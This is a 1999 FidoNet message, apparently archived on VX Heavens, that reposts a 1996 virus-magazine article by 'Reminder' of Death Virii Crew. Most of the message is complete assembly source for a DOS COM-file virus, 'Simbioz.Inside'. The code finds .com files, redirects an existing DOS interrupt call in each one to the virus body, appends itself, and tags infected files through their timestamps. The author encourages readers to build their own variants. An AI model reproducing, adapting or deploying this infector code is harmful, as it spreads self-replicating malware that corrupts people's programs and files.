Msg : Prev 3990 / 4681 Next +4022
1999-08-21 10:59:52

To  : All

Subj:

В свете последних событий 13


Привет All! 

=== Cut === 
[Death Virii Crew] Presents 
CHAOS A.D. Vmag, Issue 2, Summer 1996 file 004 



Вирус - Демонстрация нового способа заражения. 

Simbioz.Inside 



Представляю на Ваше рассмотрение примитивный COM-нерезидент, 
в котором реализован способ симбиоза. Вариант конечно глючный, 
но по крайней мере у меня глючил только с резидентами и то, не 
всегда. Вирус предназначен исключительно для демонстрации способа. 
Я надеюсь этот вирус натолкнет вас на реализацию чего-то своего. 

;================================ резать тут ============================ 
.286 
.model tiny 
.code 
org 100h 
start: 

lea dx,mess 
call virus 
nop 
int 20h 
mess db 'virii rulez$' 

virus: 
mov word ptr cs:_bp,bp 
pop bp 
sub bp,3 
pusha 
push ds es 
call $+3 
pop si 
sub si,($-virus)-1 

restore_orig_4_bytes: 
mov ah,byte ptr cs:[offset orig-offset virus+si ] 
mov al,0b4h 
mov cs:[bp],ax 
mov cs:[bp+2],21cdh 
mov bp,si 

get_dta: 
mov ah,2fh 
int 21h 
mov word ptr cs:_dta,bx 
mov word ptr cs:_dta,es 

set_dta: 
mov ax,cs 
add ax,2000h 
mov ds,ax 
xor dx,dx 
mov ah,1ah 
int 21h 

find_first: 
mov ah,4eh 
mov cx,20h 
mov dx,offset fmask-offset virus 
add dx,si 
push ds cs 
pop ds 
int 21h 
pop ds 
find: 
jnc save 
_er: 
jmp er 

find_next: 
mov ax,cs 
add ax,2000h 
mov ds,ax 

mov ah,4fh 
int 21h 
jmp find 

save: 
mov ax,ds:[16h] 
mov cs:_time,ax 
and al,01fh 
cmp al,7 
jz find_next 
mov ax,ds:[18h] 
mov cs:_date,ax 

open_find_file: 
mov ax,3d02h 
mov dx,1eh 
int 21h 
jnc read_file 
jmp find_next 
read_file: 
xchg ax,bx 

change_segment: 
mov ax,ds 
add ax,10h 
mov ds,ax 

mov ah,3fh 
xor dx,dx 
mov cx,0f000h 
int 21h 
jnc search_code 
jmp close 

search_code: 
push ds 
pop es 
mov cx,ax 
mov si,ax 
mov di,dx 
uuu: 
mov al,0b4h 
new: 
cld 
repne scasb 
jne close 
cmp word ptr es:[di+1],21CDh 
jne new 
great: 
mov ax,di 
dec ax 
mov cx,si 
mov si,ax 
mov dx,cx 
sub dx,ax 
sub dx,3 

change_code: 
mov byte ptr ds:[si],0e8h 
mov al,byte ptr ds:[si+1] 
mov byte ptr cs:[offset orig - offset virus + bp],al 
mov word ptr ds:[si+1],dx 
in al,42h 
mov byte ptr ds:[si+3],al 

pointer_to_begin: 
push cx 
mov ax,4200h 
xor cx,cx 
xor dx,dx 
int 21h 
pop cx 
jc close 

save_file: 
mov ah,40h 
xor dx,dx 
int 21h 
jc rest 

pointer_to_end: 
mov ax,4202h 
xor cx,cx 
xor dx,dx 
int 21h 
jc rest 

save_virus: 
mov ah,40h 
mov cx,virlen 
push cs 
pop ds 
mov dx,bp 
int 21h 
jc rest 

change_time_to_7_second: 
mov ax,cs:_time 
and al,01fh 
add al,7 
mov cs:_time,ax 

rest: 
mov ax,5701h 
mov dx,cs:_date 
mov cx,cs:_time 
int 21h 

close: 
mov ah,3eh 
int 21h 

jmp find_next 

er: 
mov ah,1ah 
lds dx,cs:_dta 
int 21h 
pop es ds 
popa 
push bp 
mov bp,word ptr cs:_bp 
ret 

fmask db '*.com',0 
iam db '[Simbioz.Inside]' 
_bp equ 0feh 
_dta equ 0f0h 
_time equ 0f4h 
_date equ 0f6h 
orig db 9 
virlen equ $-virus 
end start 
;================================ резать тут ============================ 


(c) by Reminder [DVC] 

=== Cut === 


С бестовыми регардами , Kostya Volkov aka Reminder 

--- 
* Origin: 2B OR (NOT 2B) = FF (2:4631/17) 
VX Heavens - коллекция вирусов,исходников и статей.
Нажми Alt + Home, чтобы перейти к первому сообщению
Пользовательского поиска